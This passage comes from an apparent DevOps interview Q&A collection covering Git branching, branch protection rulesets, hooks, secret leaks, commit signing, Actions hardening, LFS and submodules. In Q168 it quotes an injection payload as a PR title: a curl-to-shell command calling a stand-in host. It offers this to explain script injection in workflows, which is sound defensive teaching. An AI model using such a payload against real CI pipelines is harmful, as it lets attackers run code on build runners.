git log --oneline --no-merges v2.3.0..v2.4.0.- By author or area:
git shortlog -sn v2.3.0..v2.4.0,git log ... -- services/api. - Files:
git diff --stat v2.3.0 v2.4.0. - On GitHub: compare view at
/compare/v2.3.0...v2.4.0.
Why โ Two dots in git log means "reachable from the second but not the first".
Interview tip โ Squash merges make PR titles the best change list.
Q122 Hotfixes on release branches keep diverging from main, and bugs reappear in the next release.
Advanced
main, and bugs reappear in the next release.Situation read โ Fixes were applied to one line but never forwarded.
What I'd do โ
- Change policy: fix on
mainfirst, then backport. - Where a release-only fix is needed, require a linked forward-port PR before the release closes.
- Detect drift:
git cherry -v main release/2.5andgit log --cherry-pick --right-only main...release/2.5. - Add a CI job that fails when the release branch has fixes missing from
main.
Why โ Divergence is invisible until the next release; automated checks surface it early.
Interview tip โ Patch-id comparison is how you spot "same fix, different SHA".
Q123 During an incident, a new feature breaks checkout. Do you revert code or turn off a flag?
Advanced
Situation read โ Both work, but they have different speed and risk.
What I'd do โ
- If the feature is behind a flag, flip it off first. That takes seconds and needs no deploy.
- If not, revert the commit (
git revert), run a fast pipeline, and deploy the fix, or redeploy the previous artifact. - After recovery, write a postmortem: why wasn't it flagged, why did tests miss it.
- Reintroduce the change with a test and a flag.
Why โ Mean time to recovery matters more than elegant fixes during an incident.
Interview tip โ "Roll back first, debug later" is a mark of operational maturity.
Q124 GitOps: should app code and Kubernetes manifests live in the same repo or separate ones?
Advanced
Situation read โ Different change rates and audiences argue for separation, though small teams may prefer one repo.
What I'd do โ
- Separate config repo for environment state, so deploy history is a clean Git log and access can be tighter.
- CI in the app repo builds the image, then opens a PR (or commits) in the config repo to bump the image tag.
- Argo CD or Flux reconciles from the config repo's
main. - Rollback is
git revertof the bump commit.
Why โ Image bumps do not pollute app history, and deploy approval is just a PR review.
Interview tip โ Say the trade-off honestly: two repos mean extra plumbing.
Q125 Your 40-person organisation uses GitFlow and wants to move to trunk-based development. How do you migrate?
Advanced
Situation read โ This is a cultural and tooling change, not a Git command.
What I'd do โ
- Prerequisites first: fast reliable CI, feature flags, and good test coverage.
- Agree the target: PRs under a day,
mainalways deployable. - Collapse
developintomain: merge it, then stop using it. - Pilot with one team, measure lead time and change failure rate, then expand.
- Keep release branches only for products with real multi-version support.
Why โ Moving the branching model without CI and flags just moves the pain.
Interview tip โ Frame it with DORA metrics so the benefit is measurable.
Protection, Hooks and Policy
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q126 You are asked to protect main. Which rules do you turn on?
Beginner
main. Which rules do you turn on?Situation read โ The aim is that nothing reaches main without review and passing checks.
What I'd do โ
- Require a pull request with at least one approval, and dismiss stale approvals on new pushes.
- Require status checks (build, test, lint) and require branches to be up to date.
- Block force pushes and deletion.
- Require linear history or restrict merge types, as the team prefers.
- Apply rules to administrators too.
Why โ Rules that admins can skip protect against nothing during a rushed Friday deploy.
Interview tip โ Mention CODEOWNERS for sensitive paths.
Q127 Classic branch protection or repository rulesets: which do you use?
Intermediate
Situation read โ Both enforce rules, but rulesets are the newer, more flexible system.
What I'd do โ
- Prefer rulesets: they target branches and tags by pattern, can be layered, and support org-wide rules.
- Use "evaluate" mode to test a ruleset before enforcing it.
- Use bypass lists for specific roles, apps or teams, with an audit trail.
- Migrate gradually; where both apply, the most restrictive result wins.
Why โ Rulesets avoid copy-pasting protection per repo and give visibility into who can bypass.
Interview tip โ Say "rulesets are layered and additive".
Q128 A required status check never reports and the PR is stuck as "Expected โ Waiting for status".
Intermediate
Situation read โ The workflow did not run, was skipped by path filters, or the check name changed.
What I'd do โ
- Check the workflow
on:triggers andpaths:filters. A skipped workflow leaves the check pending forever. - Confirm the required check name matches the job name exactly (matrix jobs add suffixes).
- Add a final always-run "gate" job that depends on the others and require only that.
gate:
if: always()
needs: [build, test]
runs-on: ubuntu-latest
steps:
- run: test "${{ contains(needs.*.result, 'failure') }}" = "false"Why โ One stable required check decouples protection from job renames and path filtering.
Interview tip โ Know that a job skipped because of its own if: reports as success, but a workflow that never triggered reports nothing.
Q129 Production is down and the fix needs to merge now, but approvals are required.
Intermediate
Situation read โ You need an emergency path that is fast but auditable.
What I'd do โ
- Pre-define a break-glass process: a small group on the ruleset bypass list ("pull requests only" bypass preferred over full bypass).
- Open the PR anyway, get a verbal or chat approval from the incident commander, then merge with bypass.
- Record the reason in the PR and the incident ticket.
- Review every bypass afterward in the audit log.
Why โ Bypass should be rare, visible and reviewed.
Interview tip โ Say you would rather make the normal path faster than live on bypasses.
Q130 You want to stop developers from committing obvious mistakes like debug prints, trailing whitespace or secrets.
Beginner
Situation read โ Catch issues before they hit the remote.
What I'd do โ
- Add the
pre-commitframework with a.pre-commit-config.yaml(linters, formatters,detect-secretsorgitleaks). - Install the hooks:
pre-commit install. - Run the same checks in CI as a backstop.
Why โ Local hooks give fast feedback, and CI catches anything that skipped them.
Interview tip โ Hooks are advisory; developers can bypass with --no-verify.
Q131 Hooks in .git/hooks are not shared with the team. How do you distribute them?
Intermediate
.git/hooks are not shared with the team. How do you distribute them?Situation read โ .git is never part of the repository.
What I'd do โ
- Commit hooks to a tracked folder such as
.githooks/. - Point Git at it:
git config core.hooksPath .githooks. - Automate that in a bootstrap script or
make setup. - Or use pre-commit, Husky or lefthook, which install themselves.
Why โ core.hooksPath is local config, so each clone must run it once.
Interview tip โ Because hooks are local, always duplicate critical checks in CI.
Q132 A developer bypasses your hook with git commit --no-verify. How do you enforce the rule anyway?
Intermediate
git commit --no-verify. How do you enforce the rule anyway?Situation read โ Client-side hooks can never be trusted for enforcement.
What I'd do โ
- Move the rule to CI and make that check required.
- Use server-side controls: rulesets (file path or size restrictions, commit message patterns) on GitHub.
- Keep hooks as fast feedback only.
- For self-hosted Git, a
pre-receivehook rejects bad pushes server-side.
Why โ The server is the only place you control.
Interview tip โ This distinction (client versus server enforcement) is a favourite interview question.
Q133 Every commit message must reference a ticket such as ABC-123.
Intermediate
ABC-123.Situation read โ Traceability is required for audits.
What I'd do โ
- Local
commit-msghook:
#!/usr/bin/env bash
grep -qE '^(ABC|PLAT)-[0-9]+' "$1" || {
echo "Commit message must start with a ticket ID, e.g. ABC-123" >&2
exit 1
}- With squash merges, validate the PR title in CI instead, since that becomes the commit message.
- Optionally add
prepare-commit-msgto prefill the ticket from the branch name.
Why โ The check on PR title is enforceable, whereas the local hook is a convenience.
Interview tip โ Say which of the two is authoritative.
Q134 You want tests to run before every push.
Beginner
Situation read โ Catching failures before CI saves round trips.
What I'd do โ
- Create
.githooks/pre-push, make it executable (chmod +x). - Run a fast subset: lint plus unit tests, not the full suite.
- Exit non-zero to block the push.
- Allow skipping when needed with
git push --no-verify, knowing CI still checks.
Why โ If the hook takes minutes, people bypass it. Keep it under ten or so seconds.
Interview tip โ Fast hooks get used; slow hooks get disabled.
Q135 Security wants to stop anyone pushing .pem, .exe or files over 50 MB, with no client trust.
Advanced
.pem, .exe or files over 50 MB, with no client trust.Situation read โ The restriction must be applied at push time, server-side.
What I'd do โ
- Use push rulesets (available for repositories in organisations on paid plans) to restrict file extensions, file paths and maximum file size.
- Apply them org-wide so new repos inherit the policy.
- Pair with secret scanning push protection for credentials inside files.
- Self-hosted alternative: a
pre-receivehook that inspectsgit rev-listof new objects.
Why โ GitHub rejects the push before the objects land, so nothing sensitive reaches the remote.
Interview tip โ Know that GitHub's hard limits are 100 MB per file and a warning at 50 MB.
Q136 Auditors want every commit on main to be verified as signed.
Intermediate
main to be verified as signed.Situation read โ Enforcement and developer setup both matter.
What I'd do โ
- Enable "Require signed commits" in the ruleset for
main. - Give developers a signing setup, for example SSH signing:
git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/id_ed25519.pub
git config --global commit.gpgsign true- Upload the same key to GitHub as a "Signing key".
- With squash or web merges, GitHub signs the resulting commit itself.
Why โ Branch rules reject unsigned pushes, so signing is not optional.
Interview tip โ Mention that rebase-merge breaks signatures because the commits are re-created.
Q137 The team wants a strictly linear history on main.
Beginner
main.Situation read โ No merge commits at all.
What I'd do โ
- Enable "Require linear history" in the ruleset.
- In repo settings, allow only squash merge and/or rebase merge; disable merge commits.
- Developers rebase their branches before merging.
Why โ Linear history is easier to bisect, revert and read.
Interview tip โ Rebase-merge keeps each commit; squash-merge keeps one. Be ready to justify your pick.
Q138 An approved PR gets a new commit just before merge. How do you prevent unreviewed code from slipping in?
Intermediate
Situation read โ An approval should apply to the code that was reviewed.
What I'd do โ
- Enable "Dismiss stale pull request approvals when new commits are pushed".
- Enable "Require approval of the most recent reviewable push" so the pusher cannot self-approve.
- Require review from Code Owners for sensitive paths.
Why โ Otherwise a malicious or careless push after approval merges unchecked.
Interview tip โ This is a common supply-chain control question.
Q139 You are the only maintainer, but the rule requires one approval. How do you work?
Intermediate
Situation read โ A strict rule locks out a team of one.
What I'd do โ
- Keep required checks and linear history; they still protect you.
- Set required approvals to 0 for a personal repo, or add a second trusted reviewer.
- If you need review for compliance, add an admin bypass restricted to PRs only.
- Use a bot or self-review checklist in the PR template.
Why โ Control should match risk. A rule nobody can meet becomes a bypass habit.
Interview tip โ GitHub does not let authors approve their own PRs.
Q140 You must stop people from deleting or moving release tags.
Intermediate
Situation read โ Tags are release identity and must be immutable.
What I'd do โ
- Create a ruleset targeting tags with pattern
v*. - Enable "Restrict deletions" and "Restrict updates" ("Block force pushes").
- Allow creation only for release managers or the release bot.
- Verify by trying
git push --delete origin v1.0.0from a test account.
Why โ Anyone who can move a tag can change what "v1.0.0" means in production.
Interview tip โ Legacy tag protection rules were replaced by rulesets.
Q141 Large binaries keep landing in the repo and clones are getting slow. What controls would you add?
Advanced
Situation read โ Prevention is cheaper than history rewriting.
What I'd do โ
- Push ruleset with a maximum file size (for example 10 MB) and blocked extensions.
- Route legitimate large assets to Git LFS via
.gitattributes. - A CI check on the diff:
git diff --stator a script flagging files above the threshold. - Monitor repository size regularly:
git count-objects -vH, andgit sizerfor deeper analysis.
Why โ Once a blob is in history, only a rewrite removes it and everyone must re-clone.
Interview tip โ Mention git-sizer as the tool for finding why a repo is slow.
Q142 Release branches (release/*) need stricter rules than feature branches.
Intermediate
release/*) need stricter rules than feature branches.Situation read โ One ruleset per branch is tedious; patterns solve it.
What I'd do โ
- Ruleset targeting
refs/heads/release/*. - Require 2 approvals, code owner review, and the full test workflow.
- Restrict who can push or merge to the release managers team.
- Block deletion and force pushes.
Why โ Patterns apply automatically to every new release branch, so nobody forgets to protect it.
Interview tip โ Test with "evaluate" mode before enforcing.
Q143 A regulator asks who changed branch protection settings and when.
Advanced
Situation read โ You need an audit trail outside Git.
What I'd do โ
- Query the organisation audit log (UI, or
gh api /orgs/ORG/audit-logon Enterprise Cloud) filtering for ruleset and protection events. - Stream audit logs to your SIEM for long-term retention.
- Store protection config as code (Terraform
github_repository_ruleset) so changes are PR-reviewed. - Alert on bypass events and ruleset edits.
Why โ Config as code gives history, review and rollback for the controls themselves.
Interview tip โ Say "protect the protections" โ admins who can change rules can undo any control.
Q144 How do you enforce Conventional Commit format without a local hook?
Beginner
Situation read โ Enforcement must work for everyone and survive squash merging.
What I'd do โ
- Add a PR title check in CI, for example
amannn/action-semantic-pull-request. - Make it a required check.
- Configure the repo to use "Pull request title" for squash commit messages.
- Optionally run commitlint for repos that use merge or rebase.
Why โ The squash commit message is what lands in history, and it comes from the PR title.
Interview tip โ Validate where the message is born, not where it is typed.
Q145 A security incident requires you to temporarily stop all merges to main.
Intermediate
main.Situation read โ You need a fast, reversible freeze.
What I'd do โ
- Prepare a "freeze" ruleset in advance with an empty bypass list, set to Disabled.
- During the incident, switch it to Active; it blocks all merges and pushes.
- Alternatively, restrict the merge queue or temporarily mark a required check as failing via a variable.
- Reverse it afterward and note it in the incident timeline.
Why โ A rehearsed switch beats improvising under pressure.
Interview tip โ Archiving the repo is too blunt and also blocks issues.
Q146 Production deploys should require a manual approval and only from reviewed code.
Advanced
Situation read โ Branch protection controls code; environment protection controls deployment.
What I'd do โ
- Create a GitHub Environment
productionwith required reviewers and a deployment-branch rule limited tomain(andv*tags). - Reference it in the workflow:
environment: production; the job pauses until approved. - Scope the deploy secrets to that environment only.
- Enable "Prevent self-review" so the person who triggered it cannot approve.
Why โ Secrets stored in an environment are released only after rules pass, so a rogue branch cannot reach them.
Interview tip โ Combine OIDC federation with environments so there are no long-lived cloud keys.
Q147 Dependabot opens 30 PRs a week. How do you merge them safely and quickly?
Intermediate
Situation read โ Manual review of every patch bump does not scale.
What I'd do โ
- Group updates in
dependabot.yml(groups:) and set a weekly schedule. - Enable auto-merge for patch and minor updates when all required checks pass:
gh pr merge --auto --squash "$PR_URL"- Keep major updates for human review.
- Make sure tests are good, because auto-merge is only as safe as CI.
Why โ Auto-merge removes toil, while branch protection keeps the safety net.
Interview tip โ Restrict workflow permissions for the Dependabot actor.
Q148 Compliance (SOC 2) requires two approvals, no self-merge and traceable changes.
Advanced
Situation read โ You need technical controls that map to the written policy.
What I'd do โ
- Ruleset: 2 required approvals, dismiss stale approvals, require last-push approval, code owners for critical paths.
- Required checks and signed commits; no bypass except a break-glass team.
- Manage rules as code and export evidence (ruleset JSON, audit-log events, PR history).
- Review bypass events monthly.
Why โ Auditors want evidence that the control is enforced, not just documented.
Interview tip โ Say that the PR is the unit of change evidence: approvals, checks and the merge are all recorded.
Q149 You want a consistent set of formatters and linters on every developer machine.
Beginner
Situation read โ A shared hook configuration beats wiki instructions.
What I'd do โ
- Commit
.pre-commit-config.yamlwith pinned versions:
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v5.0.0
hooks:
- id: end-of-file-fixer
- id: check-added-large-filespre-commit installonce per clone;pre-commit run --all-filesto check everything.- Run
pre-commitin CI as well, and update versions withpre-commit autoupdate.
Why โ Pinned revs give identical results everywhere.
Interview tip โ Same config locally and in CI means no "passes locally, fails in CI".
Q150 A release bot must push version bump commits to protected main, but humans must not.
Advanced
main, but humans must not.Situation read โ The bot needs a narrow exception, not a weakening of the rule for everyone.
What I'd do โ
- Use a GitHub App (not a personal token) for the bot, with minimal permissions.
- Add only that app to the ruleset bypass list.
- Prefer having the bot open a PR with auto-merge, which needs no bypass at all.
- Store the app credentials as environment secrets and rotate keys.
Why โ Apps have scoped permissions and appear clearly in the audit log, unlike a shared human PAT.
Interview tip โ The PR-based approach avoids bypass entirely and is the safer pattern.
Secrets, Signing and Security
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q151 A developer pushed an AWS access key to a public repo 10 minutes ago. What is your first move?
Beginner
Situation read โ Bots scan public pushes within seconds. Assume the key is already compromised.
What I'd do โ
- Revoke or deactivate the key in IAM immediately; create a replacement and deploy it.
- Review CloudTrail for use of the key since the push; check for new users, instances and unusual regions.
- Only then clean the repo (remove from history, see the next question).
- Write up the incident and add push protection and a pre-commit scanner.
Why โ Deleting the commit does not undo exposure. Rotation does.
Interview tip โ "Rotate first, clean second" is the sentence interviewers listen for.
Q152 After rotating the leaked key, you must purge it from repository history. How?
Advanced
Situation read โ The key is dead, but history still shows it, and scanners and forks keep flagging it.
What I'd do โ
- Fresh mirror clone:
git clone --mirror [email protected]:org/app.git. - Replace the string everywhere:
echo 'AKIAXXXXXXXXXXXXXXXX==>REMOVED' > replacements.txt
git filter-repo --replace-text replacements.txt
git push --force --mirror- Ask all developers to re-clone (not pull), and close or recreate open PRs.
- Contact GitHub Support to purge cached views and
refs/pull/*references if needed; check forks.
Why โ Rewriting changes all downstream SHAs, so coordination matters. Old clones can re-introduce the secret on push.
Interview tip โ BFG is an alternative, but git filter-repo is the tool Git itself recommends.
Q153 A push is rejected: "GH013: Repository rule violations found ... Push cannot contain secrets". What do you do?
Intermediate
Situation read โ GitHub push protection detected a known secret pattern in your commits.
What I'd do โ
- Read the message; it names the file and commit.
- Remove the secret from the commit, not just the latest file state: amend or interactive rebase, so no commit in the push contains it.
- Load the value from an environment variable or secret manager instead.
- If it is a verified false positive or test token, use the bypass link and choose a reason; that is logged.
Why โ Blocking before the push means the secret never reaches the remote, which beats cleaning afterwards.
Interview tip โ Treat a real hit as a leak anyway if the secret was ever valid: rotate it.
Q154 Secret scanning alerts have piled up, and many look like false positives or old test credentials.
Intermediate
Situation read โ Alert fatigue will cause real leaks to be ignored.
What I'd do โ
- Triage by validity: GitHub shows whether a provider-pattern secret is still active.
- Rotate and close the valid ones as "revoked".
- Close the rest as "false positive" or "used in tests" with a comment.
- Exclude fixtures and paths via
secret_scanning.yml(paths-ignore). - Track the time to remediation as a metric.
Why โ Clean queues make real alerts stand out.
Interview tip โ Validity checks let you prioritise active credentials first.
Q155 You must set up signed commits on your laptop. Which method do you pick?
Beginner
Situation read โ GPG works but is heavier; SSH signing is simpler if you already use SSH.
What I'd do โ
git config --global gpg.format ssh.git config --global user.signingkey ~/.ssh/id_ed25519.pub.git config --global commit.gpgsign trueandtag.gpgsign true.- Add the public key to GitHub as a Signing key, separate from the authentication key.
- Test:
git commit --allow-empty -m "test" && git log --show-signature -1.
Why โ SSH signing needs no extra tooling and works with hardware keys.
Interview tip โ Local verification needs gpg.ssh.allowedSignersFile; GitHub verifies server-side.
Q156 Your GPG signing key expires next week. What is the correct way to handle it?
Intermediate
Situation read โ Expired keys lead to "Unverified" for new commits, though old commits stay verified.
What I'd do โ
- Extend expiry rather than creating a new key:
gpg --edit-key <KEYID>, thenexpire, thensave. - Export and upload the updated public key to GitHub.
- If the key is compromised, revoke it and create a new one instead.
- Document key rotation steps in the team wiki.
Why โ Extending keeps the same identity and fingerprint, so downstream trust is untouched.
Interview tip โ Know the difference between expiry (routine) and revocation (compromise).
Q157 A release bot pushes commits, and branch rules require signed commits. How do you handle it?
Intermediate
Situation read โ Bots have no personal key, so their commits show as unverified.
What I'd do โ
- Use the GitHub API (commits through a GitHub App token or
GITHUB_TOKEN) so GitHub signs them with its own key and marks them Verified. - Or give the bot a dedicated signing key stored as a secret, uploaded to the bot account.
- For file edits, use the contents API or GraphQL
createCommitOnBranch, which produces verified commits.
Why โ Commits created through the API by an app are signed by GitHub on its behalf.
Interview tip โ Plain git push from a runner cannot produce verified commits without a key.
Q158 You adopt a secret scanner on a ten-year-old repo and it reports 400 historical findings.
Intermediate
Situation read โ You cannot block all work for historical issues, but you must stop new ones.
What I'd do โ
- Run a full-history scan once; rotate anything still valid.
- Create a baseline so only new findings fail:
gitleaks detect --baseline-path gitleaks-baseline.json. - Enable the scanner in pre-commit and as a required CI check.
- Burn down the baseline over time.
Why โ The baseline separates "known history" from "new risk", which keeps the gate usable.
Interview tip โ Rotation matters more than whether history is rewritten.
Q159 Your GitHub Actions workflows deploy to AWS using stored access keys. How do you improve that?
Advanced
Situation read โ Long-lived keys in secrets can leak and rarely get rotated.
What I'd do โ
- Create an IAM OIDC identity provider for
token.actions.githubusercontent.com. - Create a role whose trust policy restricts
subtorepo:ORG/REPO:environment:production(or a branch/tag). - Use short-lived credentials in the workflow:
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: ap-south-1- Delete the old access keys.
Why โ Credentials last minutes and are bound to a specific repo and ref.
Interview tip โ A loose sub condition (such as repo:ORG/*) is the classic misconfiguration.
Q160 Your workflows use many third-party actions referenced by tag such as @v3. Is that a risk?
Advanced
@v3. Is that a risk?Situation read โ Tags can be moved, so a compromised action can change what you run, as happened with tj-actions/changed-files in 2025.
What I'd do โ
- Pin to a full commit SHA with the version in a comment:
uses: actions/checkout@<40-char-sha> # v4.2.2. - Let Dependabot update pinned SHAs for
github-actions. - Restrict allowed actions at org level (GitHub-owned and verified creators, or an allow-list).
- Give workflows least-privilege
permissions.
Why โ A SHA is immutable, so the code you reviewed is the code that runs.
Interview tip โ Mention both pinning and an allow-list.
Q161 A workflow can write to the repo by default. How do you limit the damage of a compromised job?
Intermediate
Situation read โ The GITHUB_TOKEN may have broad rights depending on repository settings.
What I'd do โ
- Set the default workflow permission to read-only in repo or org settings.
- Declare permissions per workflow or job:
permissions:
contents: read
jobs:
release:
permissions:
contents: write
id-token: write- Only the jobs that need write get it.
Why โ A compromised step can then do only what its job was granted.
Interview tip โ "Least privilege for the token" is a fast, high-value hardening.
Q162 A developer's laptop was stolen, and it had a personal access token and SSH key for GitHub.
Advanced
Situation read โ Assume an attacker can push, read private code and use the token.
What I'd do โ
- Revoke the PAT and remove the SSH and signing keys from the account (Settings โ SSH and GPG keys).
- Check the account's security log and org audit log for activity since the theft.
- Rotate secrets the developer had access to; review recent pushes, new deploy keys, webhooks and Actions changes.
- Enforce SSO, short-lived credentials and hardware-backed keys going forward.
Why โ Access is tied to credentials, not to the person's laptop.
Interview tip โ Fine-grained PATs with expiry reduce the blast radius.
Q163 A private repository was made public by mistake for two hours.
Intermediate
Situation read โ Assume it was cloned and scanned.
What I'd do โ
- Make it private again immediately. Forks created while public stay public; delete them if possible through GitHub Support.
- Scan full history for secrets and rotate anything found.
- Check the audit log to see who changed visibility and why.
- Restrict the "change visibility" permission to org owners.
Why โ Visibility changes are reversible, but exposure is not.
Interview tip โ Org setting "Repository visibility change" prevents members from doing it.
Q164 An engineer left the company today. What do you do on the Git side?
Beginner
Situation read โ Access must be removed quickly and completely.
What I'd do โ
- Remove from the GitHub organisation, or disable via SSO or SCIM deprovisioning.
- Check for personal tokens, deploy keys and apps they authorised (org settings list these).
- Reassign their open PRs and CODEOWNERS entries to a team.
- Rotate shared secrets they knew.
Why โ Central identity (SSO) makes this a single step instead of a checklist hunt.
Interview tip โ Teams as code owners avoid orphaned review rules.
Q165 Which credential type do you use for automation: classic PAT, fine-grained PAT, or a GitHub App?
Intermediate
Situation read โ The credential should be scoped, short-lived and not tied to one person.
What I'd do โ
- Prefer a GitHub App: repo-scoped permissions, short-lived installation tokens, not tied to a user's seat.
- Use
GITHUB_TOKENwhen the work stays inside one repo. - A fine-grained PAT is acceptable for personal scripts, with expiry and selected repos.
- Avoid classic PATs; they are broad and long-lived.
Why โ Narrow scope and short life mean less damage if leaked.
Interview tip โ "Not tied to a person" is the key org-level argument for Apps.
Q166 A CI server needs read access to one private repo. Deploy key or machine user?
Intermediate
Situation read โ Pick the narrowest credential that fits.
What I'd do โ
- Deploy key: an SSH key tied to a single repo, read-only by default. Best for one repo.
- Machine user: a separate account that can access many repos but consumes a seat and is a standing target.
- For many repos, prefer a GitHub App with an installation token.
- Rotate keys regularly and store them in the CI secret store.
Why โ A deploy key cannot touch other repos, which limits damage.
Interview tip โ A deploy key can only be used on one repository at a time.
Q167 How do you catch vulnerable or malicious dependencies before they reach main?
Intermediate
main?Situation read โ Dependency changes should be reviewed like code.
What I'd do โ
- Enable Dependabot alerts and security updates.
- Add the Dependency Review action on PRs to fail on new vulnerable packages or disallowed licenses.
- Commit lockfiles and install with
npm cior equivalent. - Add CodeQL or another SAST scan as a required check.
Why โ Catching it in the PR is much cheaper than after release.
Interview tip โ Lockfiles plus review of dependency diffs address both bad versions and typosquats.
Q168 A workflow echoes the PR title in a shell step, and a security reviewer flags it. Why?
Advanced
Situation read โ ${{ github.event.pull_request.title }} is expanded into the script before the shell runs, so a crafted title can inject commands.
What I'd do โ
- Never interpolate untrusted fields (title, body, branch name, commit message) directly in
run:. - Pass them through environment variables:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"- Run zizmor or CodeQL's Actions queries to find such patterns.
- Keep
GITHUB_TOKENpermissions minimal.
Why โ An env var is data to the shell, whereas inline expansion is code.
Interview tip โ A title like "; curl evil.sh | sh # is a good concrete example.
Q169 Before deploying, you want to confirm a release tag and commit were really created by your maintainers.
Beginner
Situation read โ Signed tags and commits can be verified.
What I'd do โ
git verify-tag v2.5.0andgit verify-commit <sha>.git log --show-signature -1 v2.5.0.- Make sure the signer's key is trusted (allowed signers file for SSH, keyring for GPG).
- Fail the pipeline if verification fails.
Why โ A valid signature proves the key holder created it, not that the content is safe.
Interview tip โ Signature plus branch protection plus review gives a real chain of trust.
Q170 A teammate enables SSH agent forwarding to every host for convenience.
Intermediate
Situation read โ A forwarded agent lets root on the remote host use your keys while you are connected.
What I'd do โ
- Disable the global setting:
ForwardAgent noby default in~/.ssh/config. - For hops to a bastion, use
ProxyJumpinstead:ssh -J bastion app01. - For Git on servers, use deploy keys or short-lived tokens, not personal keys.
- Use hardware-backed keys that require touch for each use.
Why โ ProxyJump gives the same convenience without exposing the agent.
Interview tip โ Mention ssh-add -c (confirm on use) as a mitigation.
Q171 Legal asks for personal data in old commits to be erased entirely.
Advanced
Situation read โ This is the same operation as a secret purge, with extra legal tracking.
What I'd do โ
- Identify exact files and strings with
git log -S'<value>' --allandgit grepacross history. - Rewrite with
git filter-repo(path or text replacement) on a mirror clone. - Force-push all refs, invalidate caches, delete forks and old clones, rebuild CI caches and artifacts.
- Ask GitHub Support to remove cached references and PR refs; record each step for compliance.
Why โ Anything pushed may be in forks, clones, CI logs and backups, so the process is wider than Git.
Interview tip โ Prevention: never commit real personal data into test fixtures.
Q172 You removed a secret from branches, but the old commit still opens through a PR link.
Advanced
Situation read โ GitHub retains refs/pull/* and cached commit views even after history is rewritten.
What I'd do โ
- Confirm the secret is rotated; that is the real fix.
- Contact GitHub Support with the commit SHAs to remove cached views and PR refs, as the refs are read-only to you.
- Check forks and ask owners to delete them.
- Record the incident and stop reusing the old repo state.
Why โ You cannot delete refs/pull/* yourself, so rotation is the dependable control.
Interview tip โ If a secret was public for any time, treat it as burned regardless.
Q173 Customers ask for proof that the binary you ship was built from your repository by your pipeline.
Advanced
Situation read โ They want build provenance, not just a checksum.
What I'd do โ
- Generate SLSA-style provenance with GitHub artifact attestations:
permissions:
id-token: write
attestations: write
contents: read
steps:
- uses: actions/attest-build-provenance@v2
with:
subject-path: dist/app.tar.gz- Customers verify:
gh attestation verify dist/app.tar.gz --repo ORG/app. - Publish an SBOM alongside the release.
- Sign container images with cosign if you ship images.
Why โ The attestation ties the artifact to the repo, commit and workflow that built it.
Interview tip โ Mention SLSA levels and that hosted runners help meet them.
Q174 New developers keep committing .env, IDE folders and OS junk files.
Beginner
.env, IDE folders and OS junk files.Situation read โ Good ignore rules prevent most accidents.
What I'd do โ
- Maintain a project
.gitignoreusing a language template, with.env*except.env.example. - Keep personal junk in a global ignore:
git config --global core.excludesFile ~/.gitignore_global. - Check why a file is ignored:
git check-ignore -v path. - Add
.envscanning to pre-commit.
Why โ Project rules cover project artifacts; global rules cover your editor and OS.
Interview tip โ .gitignore never affects files that are already tracked.
Q175 Shared build agents run as one user, and developers worry about stored Git credentials.
Intermediate
Situation read โ Credentials cached on shared hosts can leak between jobs.
What I'd do โ
- Do not use
credential.helper store(plain text). Use ephemeral tokens injected per job. - In GitHub Actions use
GITHUB_TOKENviaactions/checkout, setpersist-credentials: falseif later steps do not need Git. - Use ephemeral or containerised runners that are destroyed after each job.
- Clean
~/.git-credentialsand agent sockets if the host is reused.
Why โ Per-job short-lived credentials leave nothing behind to steal.
Interview tip โ Self-hosted runners on public repos are a serious risk; avoid them or isolate them.
Scale, Submodules, LFS and GitHub Automation
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q176 A monorepo has 4 GB of history and developers only touch one service. How do you make their day-to-day faster?
Intermediate
Situation read โ Most developers do not need all files or all blobs locally.
What I'd do โ
- Partial clone:
git clone --filter=blob:none --sparse URL. - Limit the working tree:
git sparse-checkout set services/billing libs/common. - Enable
core.fsmonitorandfeature.manyFilesfor faster status. - Run
git maintenance startfor background prefetch and commit-graph updates.
Why โ Blobs download on demand, and only needed paths are checked out.
Interview tip โ Know the difference: shallow limits history depth, partial clone limits object types.
Q177 Designers commit PSD and video assets, and the repo keeps growing. How do you move them to Git LFS?
Intermediate
Situation read โ New files can be tracked going forward, but history already holds the blobs.
What I'd do โ
git lfs installandgit lfs track "*.psd" "*.mp4"; commit.gitattributes.- Convert existing history on a mirror clone:
git lfs migrate import --include="*.psd,*.mp4" --everything. - Force-push and have everyone re-clone.
- Check:
git lfs ls-filesandgit lfs status.
Why โ Git stores small pointer files, and the real content lives on the LFS server.
Interview tip โ migrate import rewrites history, so do it once and coordinate.
Q178 Your GitHub LFS bandwidth quota is exhausted and CI pulls fail. What do you do?
Advanced
Situation read โ Every CI checkout downloads LFS objects, which counts against bandwidth.
What I'd do โ
- Short term: buy a data pack or raise the budget to unblock builds.
- Reduce downloads: do not fetch LFS in jobs that do not need it (
lfs: falseinactions/checkout); fetch selectively withgit lfs pull --include. - Cache LFS objects between runs (
actions/cacheon.git/lfs). - Long term, consider moving big assets to object storage (S3) with versioned references, or a self-hosted LFS server.
Why โ Most CI jobs, such as linting, never need the binaries.
Interview tip โ Forks also draw bandwidth from the upstream owner's quota.
Q179 A repository uses a submodule. How does a developer get the right version of it?
Beginner
Situation read โ The parent repo pins the submodule to an exact commit.
What I'd do โ
- Fresh clone:
git clone --recurse-submodules URL. - Existing clone:
git submodule update --init --recursive. - After pulling the parent, run
git submodule updateto match the pinned commit. - Set
git config submodule.recurse trueto automate it.
Why โ The submodule shows as a pointer; nothing updates it unless you run the command.
Interview tip โ A "modified: libs/shared (new commits)" status means your checkout differs from the pin.
Q180 Submodules, subtree or a package manager for sharing code between repos?
Intermediate
Situation read โ The choice depends on how often the shared code changes and who edits it.
What I'd do โ
- Prefer a package manager (npm, PyPI, Maven, Go modules) for libraries with versioned releases.
- Use submodules when you need an exact commit of a non-packaged repo, and the team accepts the extra commands.
- Use
git subtreewhen you want the code inside the repo with plain clone behaviour. - Choose a monorepo if teams change both sides together constantly.
Why โ Packages give semantic versions and caching; submodules give exact pins but poor ergonomics.
